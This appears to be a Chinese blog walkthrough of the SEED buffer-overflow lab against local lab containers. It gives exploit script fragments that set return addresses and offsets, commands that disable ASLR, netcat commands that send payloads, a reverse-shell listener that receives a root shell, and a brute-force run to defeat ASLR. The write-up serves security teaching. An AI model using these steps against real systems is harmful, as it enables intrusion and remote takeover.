SEED(2)-缓冲区溢出攻击(Buffer-Overflow Attack)
1. 漏洞原理
漏洞代码示例:
#include<string.h>
void foo(char *str)
{char buffer[12];strcpy(buffer, str);
}
int main()
{char *str = "This is definitely longer than 12";foo(str);return 1;
}
当把str的内容copy到buffer中,由于str的长度大于12,就会造成缓冲区buffer的溢出,str中多出的部分会存放在缓冲区的上方,我们的目的就是将代码植入到此处,然后让函数的return Address指向我们存放代码的地址A来执行code!
A:code的起始地址
Nop:指令为0x90,执行该指令时什么都不做,一直往下执行。(在code与foo()之间填满Nop,便于找到地址A,return Address一旦指向其中一个Nop,就会执行到code的地址A)
2. 实验准备
下载实验所需文件:https://wwr.lanzoui.com/iUn5vql6ine
进入到/Buffer_Overflow/Labsetup/server-code路径下,执行:
$ make
$ make install
$ cd .. #进入/Labsetup目录
$ dcbuild
$ dcup
关闭防范机制:memory randomization
$ sudo sysctl -w kernel.randomize_va_space=0
3. Level 1 Attack:Get the Parameters(获取参数)
$ echo hello | nc 10.9.0.5 9090
^C
若执行两次打印出的结果一致且输出地址为0xffffxxxx,则说明memory randomization已关闭;
Container Console
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xffffd108
server-1-10.9.0.5 | Buffer's address inside bof(): 0xffffd098
server-1-10.9.0.5 | ==== Returned Properly ====
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xffffd108
server-1-10.9.0.5 | Buffer's address inside bof(): 0xffffd098
server-1-10.9.0.5 | ==== Returned Properly ====
$ cd /Buffer_Overflow/Files
$ vim exploit-L1.py
然后利用ebp 和 Buffer address 计算A的地址(ret)和offset:
ret(A) = 0xffffd108 + 8(min(A) = ebp + 8;max(A) = 517 - len(code))
offset = 0xffffd108 - 0xffffd098 + 4 = 116(十进制)
修改exploit-L1.py中ret和offset的值并保退出;然后运行:
$ python3 exploit-L1.py
$ cat badfile | nc 10.9.0.5 9090
Container Console
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 517
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xffffd428
server-1-10.9.0.5 | Buffer's address inside bof(): 0xffffd3b8
server-1-10.9.0.5 | (^_^) SUCCESS SUCCESS (^_^)
若出现上面'(^_^) SUCCESS SUCCESS (^_^)',说明成功!
Get Revere Shell
修改exploit-L1.py文件ret和A的值:
##################################################################
# Put the shellcode at the end
content[517-len(shellcode):] = shellcode# You need to find the correct address
# This should be the first instruction you want to return to
ret = 0xffffd428+40# You need to calculate the offset
offset = 116L = 4 # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################
新建一个命令行窗口输入$ nc -lnv 7070开启监听
在另外一个窗口向server发送badfile文件
$ python3 exploit-L1.py
$ cat badfile | nc 10.9.0.5 9090
监听窗口输出以下内容,说明成功获取Revere Shell;
Listening on 0.0.0.0 7070
Connection received on 10.9.0.5 51582
root@ec5152748270:/bof#
4. Level 2 Attack : Buffer Size Unknown
$ echo hello | nc 10.9.0.6 9090
^C
Container Console
server-2-10.9.0.6 | Got a connection from 10.9.0.1
server-2-10.9.0.6 | Starting stack
server-2-10.9.0.6 | Input size: 6
server-2-10.9.0.6 | Buffer's address inside bof(): 0xffffd368
server-2-10.9.0.6 | ==== Returned Properly ====
修改exploit-L2.py文件ret和S的值:
S:ref的个数 = buffersize/4(一个ref为4字节)
ret:BufferAddress + buffersize
##################################################################
# Put the shellcode at the end of the buffer
content[517-len(shellcode):] = shellcode# You need to find the correct address
# This should be the first instruction you want to return to
ret = 0xffffd368+360# Spray the buffer with S number of return addresses
# You need to decide the S value
S = 90
for offset in range(S):content[offset*4:offset*4 + 4] = (ret).to_bytes(4,byteorder='little')
##################################################################
$ python3 exploit-L2.py
$ cat badfile | nc 10.9.0.6 9090
Container Console
server-2-10.9.0.6 | Got a connection from 10.9.0.1
server-2-10.9.0.6 | Starting stack
server-2-10.9.0.6 | Input size: 517
server-2-10.9.0.6 | Buffer's address inside bof(): 0xffffd368
server-2-10.9.0.6 | (^_^) SUCCESS SUCCESS (^_^)
5. Level 3 Attack: 64-bit Server
原理:
$ echo hello | nc 10.9.0.7 9090
^C
Container Console
server-3-10.9.0.7 | Got a connection from 10.9.0.1
server-3-10.9.0.7 | Starting stack
server-3-10.9.0.7 | Input size: 517
server-3-10.9.0.7 | Frame Pointer (rbp) inside bof(): 0x00007fffffffe2d0
server-3-10.9.0.7 | Buffer's address inside bof(): 0x00007fffffffe200
修改exploit-L3.py文件中的start,ret和offset;
start = 40
offset = ebp - buffer + 8
ret = [buffer,buffer + 40]范围之间任选一个
$ python3 exploit-L3.py
$ cat badfile | nc 10.9.0.7 9090
Container Console
server-3-10.9.0.7 | Got a connection from 10.9.0.1
server-3-10.9.0.7 | Starting stack
server-3-10.9.0.7 | Input size: 517
server-3-10.9.0.7 | Frame Pointer (rbp) inside bof(): 0x00007fffffffe2d0
server-3-10.9.0.7 | Buffer's address inside bof(): 0x00007fffffffe200
server-3-10.9.0.7 | (^_^) SUCCESS SUCCESS (^_^)
6. Level 4 Attack: Small Buffer(64-bit)
$ echo hello | nc 10.9.0.8 9090
^C
Container Console
server-4-10.9.0.8 | Got a connection from 10.9.0.1
server-4-10.9.0.8 | Starting stack
server-4-10.9.0.8 | Input size: 6
server-4-10.9.0.8 | Frame Pointer (rbp) inside bof(): 0x00007fffffffe2b0
server-4-10.9.0.8 | Buffer's address inside bof(): 0x00007fffffffe250
server-4-10.9.0.8 | ==== Returned Properly ====
修改exploit-L4.py文件
ret = rbp + 1200
$ python3 exploit-L4.py
$ cat badfile | nc 10.9.0.8 9090
Container Console
server-4-10.9.0.8 | Got a connection from 10.9.0.1
server-4-10.9.0.8 | Starting stack
server-4-10.9.0.8 | Input size: 517
server-4-10.9.0.8 | Frame Pointer (rbp) inside bof(): 0x00007fffffffe2b0
server-4-10.9.0.8 | Buffer's address inside bof(): 0x00007fffffffe250
server-4-10.9.0.8 | (^_^) SUCCESS SUCCESS (^_^)
开启防范机制
$ sudo sysctl -w kernel.randomize_va_space=2
执行$ nc -lnv 7070开启监
Listening on 0.0.0.0 7070
修改exploit为reverse shell
新建一个命令行窗口:
$ python3 exploit-L1.py
$ chmod u+x brute-force.sh
$ ./brute-force.sh
我这里总共用时8分12秒:
8 minutes and 12 seconds elapsed.
The program has been running 27296 times so far.
8 minutes and 12 seconds elapsed.
The program has been running 27297 times so far.
成功后监听窗口会返回shell
Connection received on 10.9.0.5 51372
root@ec5152748270:/bof#
SEED(2)-缓冲区溢出攻击(Buffer-Overflow Attack)相关推荐
- 【软件安全】缓冲区溢出攻击(stack overflow)实践
文章目录 前言 攻击准备 攻击目标与原理 漏洞程序 攻击程序 攻击步骤 关闭现有安全机制 以root身份编译漏洞程序 确定`shellcode`在内存中位置 执行攻击程序 总结 参考资料 前言 最近在 ...
- 缓冲区溢出(Buffer Overflow)
原文地址:https://www.imperva.com/learn/application-security/buffer-overflow/ 什么是缓冲区溢出 缓冲区是内存存储区域,可在数据从一个 ...
- 计算机系统基础学习笔记(7)-缓冲区溢出攻击实验
缓冲区溢出攻击实验 实验介绍 实验任务 实验数据 目标程序 bufbomb 说明 bufbomb 程序接受下列命令行参数 目标程序bufbomb中函数之间的调用关系 缓冲区溢出理解 目标程序调用的ge ...
- 计算机系统实验五:缓冲区溢出攻击
参考教材:计算机系统基础 第二版 袁春风 机械工业出版社 参考慕课:计算机系统基础(四):编程与调试实践 https://www.icourse163.org/learn/NJU-1449521162 ...
- 学习缓冲区溢出攻击的前提知识
文章目录 目录 文章目录 前言 一.8086 内存结构 (8086 Memory Architecture) 二.8086 CPU寄存器结构 总结 前言 缓冲区溢出(Buffer overflow)攻 ...
- 网络攻防实验之缓冲区溢出攻击
这个实验是网络攻防课程实验中的一个,但是目前我还没有完全搞懂代码,以后有机会来补.也欢迎大佬指点 一.实验目的和要求 通过实验掌握缓冲区溢出的原理,通过使用缓冲区溢出攻击软件模拟入侵远程主机理解缓冲区 ...
- java存在溢出攻击吗_缓冲区溢出攻击
缓冲区溢出漏洞(Buffer Overflow)是最早被发现也是最基础的软件安全漏洞技术类型之一.缓冲区溢出是一种非常普遍.非常危险的漏洞,在各种操作系统.应用软件中广泛存在.利用缓冲区溢出攻击,可以 ...
- Win32的缓冲区溢出攻击(涉及用WinDbg分析 overflow函数的返回地址所在的地址与buffer首地址的距离 OFF_SET)
Win32的缓冲区溢出攻击 一.学习过程 二.学习成果(求OFF_SET) 三.扩展阅读 一.学习过程 1.overflow函数的源代码 #include <stdio.h> #inclu ...
- 缓冲区溢出攻击(Buffer Overflows实验笔记)
缓冲区溢出是什么? 缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数 ...
最新文章
- java jar 版本号_java – 获取JAR文件版本号
- wpf中内容包含在border中_WPF:点击后聚焦边框(WPF: Focus border after click)
- Tensorflow2.0版本 笔记
- 解决git bash闪退问题
- web项目开发人员配比_我如何找到Web开发人员的第一份工作
- 科目三电子路考细节部分
- 『收藏向 期末SSM课设救急』 教你从搭建到测试运行手撸一个SSM项目实战,附带源码,前端页面、解析和一般遇到的问题(排雷)
- Java基础学习(2)-注解
- [camera][v4l2][第五话]: UVC协议学习
- 为什么大厂全在搞全链路压测?
- 使用 Kitten 开发一款趣味成语接龙游戏
- 速解元宇宙 / Metaverse 迷雾下的行动指南
- 用HTML制作简单的个人介绍主页
- json进阶---jackson底层之JsonParser理解使用(springboot多结构参数的映射方法的实现思路)
- 浙大Python 第1章-3 输出“人生苦短,我学Python” (10 分) ---- 过于ez
- GE IC697CPX935 CPU模块PDF帅
- C# DirectInput游戏手柄和键盘开发心得2(SharpDX版)
- 监控和剖析数据库操作 -- P6Spy、SQL Profiler、IronTrack SQL 使用简介
- EntityFrameWork Core从零开始,(九)继承影射的补充
- 啊哈C语言,逻辑的挑战
热门文章
- GSVA+limma差异通路分析+发散条形图
- 废旧手机改造第二弹之电脑扩展屏幕和变成复制屏幕
- 中国互联网大佬江湖图:
- oracle正则表达式匹配非数字非字母,ORACLE数据库中怎么求除数字、字母之外的非中文字符的正则表达式...
- 全科信息管理系统方案/案列/APP/软件/小程序/网站
- Xilinx 7系列例化MIG IP core DDR3读写
- c语言求利润的编程,[编程入门]利润计算-题解(C语言代码)
- HTML语义化 表格
- 4线-2线优先级编码器(含使能端且高电平有效)
- 啊哈!算法—火柴棍等式